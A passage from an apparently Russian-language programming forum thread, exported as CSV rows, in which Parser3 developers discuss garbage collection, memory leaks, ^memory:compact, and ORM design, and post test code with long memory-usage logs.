Какова может быть причина?"
"86197","Полноту освобождения памяти наглядно показало использование парсера в режиме веб-сервера, там любая утечка (а небольших сколько-то было) сразу вылезает.\
\
Так что причина скорее всего в переменных. Например какой-нибудь глобальный кеш. Вариантов подвесить ссылку более чем достаточно.\
\
Note: в 32-х битных OS сборка мусора работает хуже, но сейчас они уже редкость."
"86198","64 битная сборка. Под Linux.\
\
А если будет кольцо ссылок, GC справится? \
Объект1.link -> Объект2\
Объект2.link -> Объект1\
\
Ссылки на объекты из MAIN и классов не существует.\
\
Если проблема в этом, то какие есть варианты заставить? \
Вручную удалять ссылки?"
"86199","В отличии от простого счетчика ссылок он может собирать группы объектов, которые имеют взаимные ссылки, но ни один из которых недоступен из корневых объектов. Своеобразный остров.\
\
Универсального способа бороться с утечками памяти нет. Чем больше у вас неявных выделений объектов, чем более запутана структура объектов, тем больше вероятность, что вы выстрелите себе в ногу и будете безвозвратно терять память.\
\
Я для себя выбрал следующий подход: минимум переменных в MAIN; никаких статических классов и методов — только динамическое создание классов с конструкторами; никаких ормов в стиле эктив-рекорд — работаем только с таблицами и хешами, а орм не более чем навороченный генератор запросов; явная сборка мусора в больших циклах в шаблонах. И ничего никогда не течет. ;)\
\
p.s. Без кода обсуждать очень тяжело. Если бы вы открыли код своего фреймворка с ормами, то можно было бы посмотреть и что-то конкретное сказать. Сейчас мы ведем очень теоретические рассуждения, которые приведут к совету разобраться как работают сборщики мусора. Сомнительно, что такой совет окажется полезным."
"86202","... в pf2 есть орм и он работает по шаблону «шлюз таблицы данных» — он достаёт коллекции записей из базы и не пытается сделать из каждой строки — объект парсера. А «активная запись» (active record) пытается и это ужас для сборщика мусора. Даже если оптимизировать создание объектов через reflection:copy. :)"
"86203","Иногда бывает такая необходимость, получить в аргумент данные и передать их в вызов следующей функции (например).\
\
Первоначальный вызов может выглядеть\
\
1. ^do(10)\
2. ^do(10.4)\
3. ^do[что-то]\
\
Если do примерно так\
\
@do[var]\
^other[$var]\
\
Если в do мы делаем просто ^other[$var], то для int|double мы теряем тип значения и оно конвертируется в string. \
\
В случае с double это чревато искажением значения (потеря точности, т.к. не задан формат).\
\
Для обхода этого можно в do написать условие, типа такого\
\
^if($var is double){\
	^other($var)\
}{\
	^other[$var]\
}\
\
Для каких-то случаев это подходит. Но когда таких вызовов много из класса в класс, то вызывает сложности...\
\
Но есть более сложная ситуация, когда вызов может выглядеть так\
\
4. ^do(3 * 4) - может быть выражение, логическое условие\
или даже\
5. ^do{$other_var}\
\
Это можно проверить, определив через ^reflection:is[$var;...] что это code (junction).\
\
Как можно понять каков тип вызова () или {}?\
\
Больше интересует возможность определить что там будет int|double|bool или строка.\
\
Требуется это, например, если мы хотим повторить логику ^table.sort() или ^table.sort{}\
\
В итоге вопроса 2:\
1. Есть ли вариант передачи значения в функцию с сохранением типа? (без хеша?)\
2. Есть ли возможность понять тип вызова до обращения к переменной?\
Если для {} проверить $var.CLASS_NAME eq \"double\" то уже произойдет выполнение. Именно это нужно избежать."
"86204","Я от ORM жду больше чем Query Builder. \
\
Если всегда работать только с table|hash, то в какой-то момент времени начнут возникать вопросы с тем как в понять что это за данные в переменной.\
\
В идеале мы хотим работать с \"понятиями\" (доменная модель) конкретной области и не вдаваться в технические детали.\
\
Я определяю для себя работу с приложением на нескольких \"уровнях\".\
Где мы начинаем с \"доменной модели\" и дальше спускаемся по \"технической необходимости\".\
\
Примерно так:\
\
- Уровень модели (Пользователь, Новость, Заказ и т.п.)\
Отвечает за бизнес-логику.\
Позволяет работать с Объектом на уровне \"бизнеса\".\
Данные Модели, Взаимосвязи с другими Моделями. Опреации/Действия над Моделью. Условия/Ограничения и т.п. Все это на уровне описания \"от бизнеса\".\
\
- Уровень данных\
Отвечает за техническое представление данных в коде. Это и есть ActiveRecord.\
Позволяет работать с данными на \"техническом\" уровне.\
\
- Уровень хранения\
Отвечает за получение/хранение данных из \"хранилища\". Обычно это называют Репозиторием.\
\
В нем отдельно можно выделить уровень \"хранилища\". Т.к. единый интерфейс работы с данными может использовать разные способы хранения данных.\
Это могут быть СУБД или файл, hashfile или еще что-то. \
\
При это Репозиторий может работать с несколькими Хранилищами, тем самым даже организуя прозначный шардинг данных в СУБД. Или вообще получение данных по API.\
\
* * *\
\
Ограничиваясь работой только на уровне table|hash мы вынуждены будем дублировать код. Или же создавать какие-то классы, которые отвечают за \"Модель\".\
А это и есть упомянутый мною слой \"Уровень модели\".\
\
А наличие в framework такой заготовки уже задает определенный подход к работе.\
И это проще в дальнейшем поддерживать и обслуживать.\
\
* * *\
\
Вопрос оптимизации, накладных расходов - он есть всегда. \
В зависимости от задачи (требований) и язык программирования нужно выбирать и уровень физической инфраструктуры и даже аппаратную составляющую.\
\
Правда, идеологически мы все также будем стремиться работать \"на уровне бизнеса\" для решения высокоуровневых задач. И минимизировать трудозатраты на \"технические детали\"."
"86205","Проверяем выделение памяти под строку\
\
[code]\
##############################################################################\
@handle[data]\
	^memory:compact[]\
\
	$console:line[1: ^inspect[$Rusage:total]]\
\
	$data[^for[](0;10000){a}]\
	\
	^memory:compact[]\
	\
	$console:line[3: ^inspect[$Rusage:total]]\
	\
	$result[]\
#end @handle[]\
[/code]\
\
Получаем изменение used 128 КБ.\
\
[quote]\
1: {\"time\" => \"0.071723\", \"utime\" => \"0.048915\", \"stime\" => \"0.012147\", \"memory_block\" => \"10032\", \"memory\" => \"8116\", \"memory_used\" => \"8116\", \"memory_free\" => \"2560\", \"memory_allocated_since_start\" => \"12075.265625\"}\
3: {\"time\" => \"0.074693\", \"utime\" => \"0.051879\", \"stime\" => \"0.012147\", \"memory_block\" => \"10032\", \"memory\" => \"8244\", \"memory_used\" => \"8244\", \"memory_free\" => \"2432\", \"memory_allocated_since_start\" => \"12367.578125\"}\
[/quote]\
\
Добавляем освобождение переменной\
\
[code]##############################################################################\
@handle[data]\
	^memory:compact[]\
\
	$console:line[1: ^inspect[$Rusage:total]]\
\
	$data[^for[](0;10000){a}]\
\
	$data[]\
	\
	^memory:compact[]\
	\
	$console:line[3: ^inspect[$Rusage:total]]\
	\
	$result[]\
#end @handle[]\
[/code]\
\
Результаты\
\
[quote]1: {\"time\" => \"0.081939\", \"utime\" => \"0.045759\", \"stime\" => \"0.018075\", \"memory_block\" => \"10624\", \"memory\" => \"8120\", \"memory_used\" => \"8120\", \"memory_free\" => \"2556\", \"memory_allocated_since_start\" => \"12078.921875\"}\
3: {\"time\" => \"0.08601\", \"utime\" => \"0.049733\", \"stime\" => \"0.018158\", \"memory_block\" => \"10624\", \"memory\" => \"8248\", \"memory_used\" => \"8248\", \"memory_free\" => \"2428\", \"memory_allocated_since_start\" => \"12366.71875\"}[/quote]\
\
used даже выросло\
\
Ок, допустим мало данных. Не прошло какое-то время и т.п. \
Ради экспиремента пробовал sleep - не помогает ;)\
\
Усложним пример. Сделаем массив с этими данными многократно в виде локальных переменных.\
\
[code]\
##############################################################################\
@handle[data]\
	^memory:compact[]\
\
	$data[^for[](0;10000){a}]\
\
	$console:line[1: ^inspect[$Rusage:total]]\
	\
	^work[]\
\
	$console:line[2: ^inspect[$Rusage:total]]\
	\
	^memory:compact[]\
	\
	$console:line[3: ^inspect[$Rusage:total]]\
	\
	$result[]\
#end @handle[]\
\
\
##############################################################################\
@work[data][locals]\
	$cache[^hash::create[]]\
\
	^for[i](0;100000){\
		$cache.[$i][$data]\
	}\
#end @work[]\
[/code]\
\
Получаем:\
\
[quote]\
1: {\"time\" => \"0.081677\", \"utime\" => \"0.029812\", \"stime\" => \"0.033566\", \"memory_block\" => \"9856\", \"memory\" => \"8240\", \"memory_used\" => \"8240\", \"memory_free\" => \"2436\", \"memory_allocated_since_start\" => \"12333.546875\"}\
2: {\"time\" => \"0.240556\", \"utime\" => \"0.188699\", \"stime\" => \"0.033576\", \"memory_block\" => \"25432\", \"memory\" => \"23960\", \"memory_used\" => \"23960\", \"memory_free\" => \"2220\", \"memory_allocated_since_start\" => \"31989.96875\"}\
3: {\"time\" => \"0.247554\", \"utime\" => \"0.195687\", \"stime\" => \"0.033576\", \"memory_block\" => \"25432\", \"memory\" => \"20248\", \"memory_used\" => \"20248\", \"memory_free\" => \"5932\", \"memory_allocated_since_start\" => \"32027.40625\"}\
[/quote]\
\
Видим что память [b]частично[/b] освободилась, но явно не на столько, что мы сгенерировали в @work\
\
Если валить на inspect, то пытаюсь исключить и его...\
\
[code]##############################################################################\
@handle[data]\
	^memory:compact[]\
\
	$data[^for[](0;10000){a}]\
\
	$console:line[1: ^stat[$status:memory]]\
	\
	^work[]\
	\
	$console:line[2: ^stat[$status:memory]]\
	\
	^memory:compact[]\
	\
	$console:line[3: ^stat[$status:memory]]\
	\
	$result[]\
#end @handle[]\
\
\
##############################################################################\
@stat[stat]\
	$result[used: $stat.used, free: $stat.free, ever_allocated_since_compact: $stat.ever_allocated_since_compact, ever_allocated_since_start: $stat.ever_allocated_since_start]\
#end @stat[]\
\
\
\
##############################################################################\
@work[data][locals]\
	$cache[^hash::create[]]\
\
	^for[i](0;100000){\
		$cache.[$i][$data]\
	}\
#end @work[]\
[/code]\
\
Получаем\
\
[quote]1: used: 8760, free: 2544, ever_allocated_since_compact: 252.203125, ever_allocated_since_start: 12891.203125\
2: used: 24468, free: 2340, ever_allocated_since_compact: 19876.75, ever_allocated_since_start: 32515.75\
3: used: 20728, free: 6080, ever_allocated_since_compact: 0, ever_allocated_since_start: 32515.75\
[/quote]\
\
Получаем что на выполнение work было выделено 15 708 (15МБ ?)\
После memory:compact освободили только 3 740 (4 МБ ?)\
\
Куда пропали еще 11 МБ?\
\
Я не правильно ожидаю освобождения used до близкого к моменту запуска?"
"86207","Не совсем корректно искать утечки разовыми замерами, надо делать цикл. И если сделать вот такой цикл:\
\
[code]@handle[data]\
    $result[]\
\
    $data[^for[](0;10000){a}]\
\
    ^for[n](1;100){\
        ^memory:compact[]\
        $console:line[${n}: ^stat[$status:memory]]\
        $void[^work[]]\
    }\
\
#end @handle[]\
[/code]\
\
То видно, что все в порядке (потребление памяти стабилизировалось около какой-то величины). При этом присвоение $result[] в первой строке и $void внутри цикла существенны, без этого будет накопление результата работы метода/цикла до его завершения.\
\
80: used: 1168, free: 1208, ever_allocated_since_compact: 0, ever_allocated_since_start: 158982.65625\
81: used: 1180, free: 1196, ever_allocated_since_compact: 0.578125, ever_allocated_since_start: 160989.828125\
82: used: 1172, free: 1204, ever_allocated_since_compact: 0, ever_allocated_since_start: 162995.859375\
83: used: 1172, free: 1204, ever_allocated_since_compact: 0.578125, ever_allocated_since_start: 165005.8125\
84: used: 1172, free: 1204, ever_allocated_since_compact: 0.578125, ever_allocated_since_start: 167012.390625\
85: used: 1160, free: 1216, ever_allocated_since_compact: 0, ever_allocated_since_start: 169018.421875\
86: used: 1160, free: 1216, ever_allocated_since_compact: 0.578125, ever_allocated_since_start: 171025.65625\
87: used: 1180, free: 1196, ever_allocated_since_compact: 0.578125, ever_allocated_since_start: 173032.21875\
88: used: 1160, free: 1216, ever_allocated_since_compact: 0, ever_allocated_since_start: 175038.25\
89: used: 1180, free: 1196, ever_allocated_since_compact: 0.578125, ever_allocated_since_start: 177045.453125\
90: used: 1196, free: 1180, ever_allocated_since_compact: 0, ever_allocated_since_start: 179051.453125\
91: used: 1212, free: 1164, ever_allocated_since_compact: 0, ever_allocated_since_start: 181059.953125\
92: used: 1184, free: 1192, ever_allocated_since_compact: 0.578125, ever_allocated_since_start: 183067.125\
93: used: 1184, free: 1192, ever_allocated_since_compact: 0, ever_allocated_since_start: 185073.15625\
94: used: 1196, free: 1180, ever_allocated_since_compact: 2.140625, ever_allocated_since_start: 187081.953125\
95: used: 1184, free: 1192, ever_allocated_since_compact: 2.140625, ever_allocated_since_start: 189088.53125\
96: used: 1184, free: 1192, ever_allocated_since_compact: 1.5625, ever_allocated_since_start: 191094.5625\
97: used: 1176, free: 1200, ever_allocated_since_compact: 2.140625, ever_allocated_since_start: 193101.796875\
98: used: 1176, free: 1200, ever_allocated_since_compact: 2.140625, ever_allocated_since_start: 195108.359375\
99: used: 1172, free: 1204, ever_allocated_since_compact: 1.5625, ever_allocated_since_start: 197114.390625\
100: used: 1204, free: 1172, ever_allocated_since_compact: 2.140625, ever_allocated_since_start: 199121.59375"
"86208","[quote]Как можно понять каков тип вызова () или {}?[/quote]\
\
Никак. Даже парсер внутри себя не разделяет, вполне можно написать ^for[i]{1}(5){test }. Отличия () от {} с точки зрения использования результата кажется нет. Но вроде как никто от этого не страдает.\
\
[quote]1. Есть ли вариант передачи значения в функцию с сохранением типа? (без хеша?)[/quote]\
\
Ну хеш может быть и не явным,\
\
[code]@test[*args]\
^test2[$args]\
\
@test2[args]\
^json:string[$args]\
\
@main[]\
^test[string](1)\
[/code]\
\
Как видно в результате исполнения, типы не потерялись.\
\
[quote]2. Есть ли возможность понять тип вызова до обращения к переменной?[/quote]\
\
Выше же правильно написано про \"^reflection:is[$var;...] что это code (junction)\". Если там не junction, то выполнения при обращении понятно не будет. Иначе будет, при каждом обращении."
"86210","[quote]В большом проекте, с сложной логикой и зависимостями найти место где явно вызывать compact - дело хитрое.[/quote]\
\
В циклах — элементарно: вызывать [i]^memory:compact[][/i] на каждые n итераций.\
Но имеет смысл только при работе с большими объёмами, иначе только процессор впустую гонять."
"86211","Хорошо, корректирую код на использование цикла.\
\
[code]##############################################################################\
@handle[data]\
	$result[]\
	^memory:compact[]\
\
	$data[^for[](0;10000){a}]\
\
	$console:line[1: ^inspect[$Rusage:total]]\
\
^for[i](1;100){\
	^work_hash[$data]($i)\
	$console:line[2-${i}: ^inspect[$Rusage:total]]\
	^memory:compact[]\
	$console:line[3-${i}: ^inspect[$Rusage:total]]\
}\
#end @handle[][/code]\
\
\
Специально делаю уменьшение размера между итерациями.\
Т.е. по логике объем используемой памяти с каждым циклом сокращается.\
\
[code]##############################################################################\
@work_hash[data;k][locals]\
	$result[]\
	$cache[^hash::create[]]\
\
	^for[i](0;100000 - $i * 1000){\
		$cache.[$i][$data]\
	}\
#end @work_hash[][/code]\
\
Я ожидаю увидеть уменьшение used между итерациями.\
\
В итоге вижу такой лог:\
\
1: {\"time\" => \"0.074364\", \"utime\" => \"0.035735\", \"stime\" => \"0.023817\", \"memory_block\" => \"10656\", \"memory\" => \"8232\", \"memory_used\" => \"8232\", \"memory_free\" => \"2444\", \"memory_allocated_since_start\" => \"12351.578125\"}\
2-1: {\"time\" => \"0.2507\", \"utime\" => \"0.201493\", \"stime\" => \"0.034294\", \"memory_block\" => \"27044\", \"memory\" => \"23768\", \"memory_used\" => \"23768\", \"memory_free\" => \"2412\", \"memory_allocated_since_start\" => \"31814.4375\"}\
3-1: {\"time\" => \"0.257574\", \"utime\" => \"0.208363\", \"stime\" => \"0.034296\", \"memory_block\" => \"27044\", \"memory\" => \"14680\", \"memory_used\" => \"14680\", \"memory_free\" => \"11500\", \"memory_allocated_since_start\" => \"31850.734375\"}\
2-2: {\"time\" => \"0.405184\", \"utime\" => \"0.353472\", \"stime\" => \"0.036722\", \"memory_block\" => \"27044\", \"memory\" => \"24268\", \"memory_used\" => \"24268\", \"memory_free\" => \"1912\", \"memory_allocated_since_start\" => \"45677.9375\"}\
3-2: {\"time\" => \"0.412017\", \"utime\" => \"0.360301\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"11496\", \"memory_allocated_since_start\" => \"45710.671875\"}\
2-3: {\"time\" => \"0.571507\", \"utime\" => \"0.519688\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"24120\", \"memory_used\" => \"24120\", \"memory_free\" => \"2060\", \"memory_allocated_since_start\" => \"59399.390625\"}\
3-3: {\"time\" => \"0.578492\", \"utime\" => \"0.526668\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"11496\", \"memory_allocated_since_start\" => \"59430.25\"}\
2-4: {\"time\" => \"0.720797\", \"utime\" => \"0.668907\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23984\", \"memory_used\" => \"23984\", \"memory_free\" => \"2196\", \"memory_allocated_since_start\" => \"72980.25\"}\
3-4: {\"time\" => \"0.727977\", \"utime\" => \"0.676079\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"11496\", \"memory_allocated_since_start\" => \"73010.0625\"}\
2-5: {\"time\" => \"0.872498\", \"utime\" => \"0.820528\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23840\", \"memory_used\" => \"23840\", \"memory_free\" => \"2340\", \"memory_allocated_since_start\" => \"86421.484375\"}\
3-5: {\"time\" => \"0.879148\", \"utime\" => \"0.827177\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"11492\", \"memory_allocated_since_start\" => \"86454.828125\"}\
2-6: {\"time\" => \"1.020045\", \"utime\" => \"0.968002\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23696\", \"memory_used\" => \"23696\", \"memory_free\" => \"2484\", \"memory_allocated_since_start\" => \"99715.703125\"}\
3-6: {\"time\" => \"1.026937\", \"utime\" => \"0.974888\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14680\", \"memory_used\" => \"14680\", \"memory_free\" => \"11500\", \"memory_allocated_since_start\" => \"99755.5625\"}\
2-7: {\"time\" => \"1.168155\", \"utime\" => \"1.116039\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23560\", \"memory_used\" => \"23560\", \"memory_free\" => \"2620\", \"memory_allocated_since_start\" => \"112880.71875\"}\
3-7: {\"time\" => \"1.175221\", \"utime\" => \"1.123091\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"11492\", \"memory_allocated_since_start\" => \"112917.015625\"}\
2-8: {\"time\" => \"1.313981\", \"utime\" => \"1.261782\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23424\", \"memory_used\" => \"23424\", \"memory_free\" => \"2756\", \"memory_allocated_since_start\" => \"125901.546875\"}\
3-8: {\"time\" => \"1.321087\", \"utime\" => \"1.268884\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"11488\", \"memory_allocated_since_start\" => \"125937.515625\"}\
2-9: {\"time\" => \"1.459683\", \"utime\" => \"1.407412\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23284\", \"memory_used\" => \"23284\", \"memory_free\" => \"2896\", \"memory_allocated_since_start\" => \"138781.75\"}\
3-9: {\"time\" => \"1.466676\", \"utime\" => \"1.414401\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"11488\", \"memory_allocated_since_start\" => \"138810.421875\"}\
2-10: {\"time\" => \"1.598988\", \"utime\" => \"1.546647\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23144\", \"memory_used\" => \"23144\", \"memory_free\" => \"3036\", \"memory_allocated_since_start\" => \"151517.65625\"}\
3-10: {\"time\" => \"1.605881\", \"utime\" => \"1.553535\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"11492\", \"memory_allocated_since_start\" => \"151547.34375\"}\
2-11: {\"time\" => \"1.740894\", \"utime\" => \"1.688482\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"23000\", \"memory_used\" => \"23000\", \"memory_free\" => \"3180\", \"memory_allocated_since_start\" => \"164113.15625\"}\
3-11: {\"time\" => \"1.748644\", \"utime\" => \"1.696227\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"11492\", \"memory_allocated_since_start\" => \"164145.28125\"}\
2-12: {\"time\" => \"1.876927\", \"utime\" => \"1.824448\", \"stime\" => \"0.036724\", \"memory_block\" => \"27044\", \"memory\" => \"22864\", \"memory_used\" => \"22864\", \"memory_free\" => \"3316\", \"memory_allocated_since_start\" => \"176571.703125\"}\
3-12: {\"time\" => \"1.883761\", \"utime\" => \"1.831277\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"11412\", \"memory_allocated_since_start\" => \"176598.5\"}\
2-13: {\"time\" => \"2.014659\", \"utime\" => \"1.962111\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"22716\", \"memory_used\" => \"22716\", \"memory_free\" => \"3384\", \"memory_allocated_since_start\" => \"188885.359375\"}\
3-13: {\"time\" => \"2.021743\", \"utime\" => \"1.96919\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14692\", \"memory_used\" => \"14692\", \"memory_free\" => \"8776\", \"memory_allocated_since_start\" => \"188914.515625\"}\
2-14: {\"time\" => \"2.136848\", \"utime\" => \"2.084237\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"22584\", \"memory_used\" => \"22584\", \"memory_free\" => \"884\", \"memory_allocated_since_start\" => \"201054.046875\"}\
3-14: {\"time\" => \"2.14382\", \"utime\" => \"2.091205\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"8640\", \"memory_allocated_since_start\" => \"201087.515625\"}\
2-15: {\"time\" => \"2.260754\", \"utime\" => \"2.208076\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"22456\", \"memory_used\" => \"22456\", \"memory_free\" => \"868\", \"memory_allocated_since_start\" => \"213090.78125\"}\
3-15: {\"time\" => \"2.267656\", \"utime\" => \"2.214975\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"8496\", \"memory_allocated_since_start\" => \"213119.59375\"}\
2-16: {\"time\" => \"2.380818\", \"utime\" => \"2.328081\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"22328\", \"memory_used\" => \"22328\", \"memory_free\" => \"852\", \"memory_allocated_since_start\" => \"224978.859375\"}\
3-16: {\"time\" => \"2.38761\", \"utime\" => \"2.334869\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"8348\", \"memory_allocated_since_start\" => \"225013.03125\"}\
2-17: {\"time\" => \"2.496495\", \"utime\" => \"2.443699\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"22208\", \"memory_used\" => \"22208\", \"memory_free\" => \"828\", \"memory_allocated_since_start\" => \"236737.328125\"}\
3-17: {\"time\" => \"2.503348\", \"utime\" => \"2.450548\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"8220\", \"memory_allocated_since_start\" => \"236768.328125\"}\
2-18: {\"time\" => \"2.612503\", \"utime\" => \"2.55965\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"22084\", \"memory_used\" => \"22084\", \"memory_free\" => \"820\", \"memory_allocated_since_start\" => \"248344.671875\"}\
3-18: {\"time\" => \"2.619284\", \"utime\" => \"2.566425\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"8072\", \"memory_allocated_since_start\" => \"248379.84375\"}\
2-19: {\"time\" => \"2.727544\", \"utime\" => \"2.674634\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"21952\", \"memory_used\" => \"21952\", \"memory_free\" => \"804\", \"memory_allocated_since_start\" => \"259814.140625\"}\
3-19: {\"time\" => \"2.734797\", \"utime\" => \"2.681883\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14680\", \"memory_used\" => \"14680\", \"memory_free\" => \"7944\", \"memory_allocated_since_start\" => \"259852.703125\"}\
2-20: {\"time\" => \"2.838738\", \"utime\" => \"2.785772\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"21832\", \"memory_used\" => \"21832\", \"memory_free\" => \"792\", \"memory_allocated_since_start\" => \"271148.71875\"}\
3-20: {\"time\" => \"2.845586\", \"utime\" => \"2.792616\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"7796\", \"memory_allocated_since_start\" => \"271183.34375\"}\
2-21: {\"time\" => \"2.945776\", \"utime\" => \"2.892756\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"21708\", \"memory_used\" => \"21708\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"282345.546875\"}\
3-21: {\"time\" => \"2.952601\", \"utime\" => \"2.899575\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"7672\", \"memory_allocated_since_start\" => \"282374.796875\"}\
2-22: {\"time\" => \"3.050706\", \"utime\" => \"2.997633\", \"stime\" => \"0.036724\", \"memory_block\" => \"27128\", \"memory\" => \"21584\", \"memory_used\" => \"21584\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"293389.65625\"}\
3-22: {\"time\" => \"3.057536\", \"utime\" => \"3.001342\", \"stime\" => \"0.03984\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"7540\", \"memory_allocated_since_start\" => \"293422.921875\"}\
2-23: {\"time\" => \"3.163578\", \"utime\" => \"3.1071\", \"stime\" => \"0.040062\", \"memory_block\" => \"27128\", \"memory\" => \"21456\", \"memory_used\" => \"21456\", \"memory_free\" => \"772\", \"memory_allocated_since_start\" => \"304301.21875\"}\
3-23: {\"time\" => \"3.170914\", \"utime\" => \"3.114431\", \"stime\" => \"0.040062\", \"memory_block\" => \"27128\", \"memory\" => \"14680\", \"memory_used\" => \"14680\", \"memory_free\" => \"7428\", \"memory_allocated_since_start\" => \"304330.65625\"}\
2-24: {\"time\" => \"3.277937\", \"utime\" => \"3.221402\", \"stime\" => \"0.040062\", \"memory_block\" => \"27128\", \"memory\" => \"21328\", \"memory_used\" => \"21328\", \"memory_free\" => \"780\", \"memory_allocated_since_start\" => \"315064.046875\"}\
3-24: {\"time\" => \"3.285203\", \"utime\" => \"3.228662\", \"stime\" => \"0.040062\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"7300\", \"memory_allocated_since_start\" => \"315100.203125\"}\
2-25: {\"time\" => \"3.37964\", \"utime\" => \"3.323053\", \"stime\" => \"0.040062\", \"memory_block\" => \"27128\", \"memory\" => \"21212\", \"memory_used\" => \"21212\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"325699.515625\"}\
3-25: {\"time\" => \"3.38659\", \"utime\" => \"3.329995\", \"stime\" => \"0.040066\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"7172\", \"memory_allocated_since_start\" => \"325724.703125\"}\
2-26: {\"time\" => \"3.495998\", \"utime\" => \"3.43932\", \"stime\" => \"0.040095\", \"memory_block\" => \"27128\", \"memory\" => \"21080\", \"memory_used\" => \"21080\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"336181.640625\"}\
3-26: {\"time\" => \"3.50315\", \"utime\" => \"3.446469\", \"stime\" => \"0.040095\", \"memory_block\" => \"27128\", \"memory\" => \"14688\", \"memory_used\" => \"14688\", \"memory_free\" => \"7048\", \"memory_allocated_since_start\" => \"336209.5\"}\
2-27: {\"time\" => \"3.598776\", \"utime\" => \"3.541969\", \"stime\" => \"0.040097\", \"memory_block\" => \"27128\", \"memory\" => \"20952\", \"memory_used\" => \"20952\", \"memory_free\" => \"784\", \"memory_allocated_since_start\" => \"346525.703125\"}\
3-27: {\"time\" => \"3.605778\", \"utime\" => \"3.54894\", \"stime\" => \"0.040125\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"6920\", \"memory_allocated_since_start\" => \"346559.03125\"}\
2-28: {\"time\" => \"3.698251\", \"utime\" => \"3.641367\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"20828\", \"memory_used\" => \"20828\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"356730.796875\"}\
3-28: {\"time\" => \"3.705634\", \"utime\" => \"3.648754\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"14684\", \"memory_used\" => \"14684\", \"memory_free\" => \"6800\", \"memory_allocated_since_start\" => \"356765.578125\"}\
2-29: {\"time\" => \"3.795849\", \"utime\" => \"3.738916\", \"stime\" => \"0.040126\", \"memory_block\" => \"27128\", \"memory\" => \"20708\", \"memory_used\" => \"20708\", \"memory_free\" => \"776\", \"memory_allocated_since_start\" => \"366798.484375\"}\
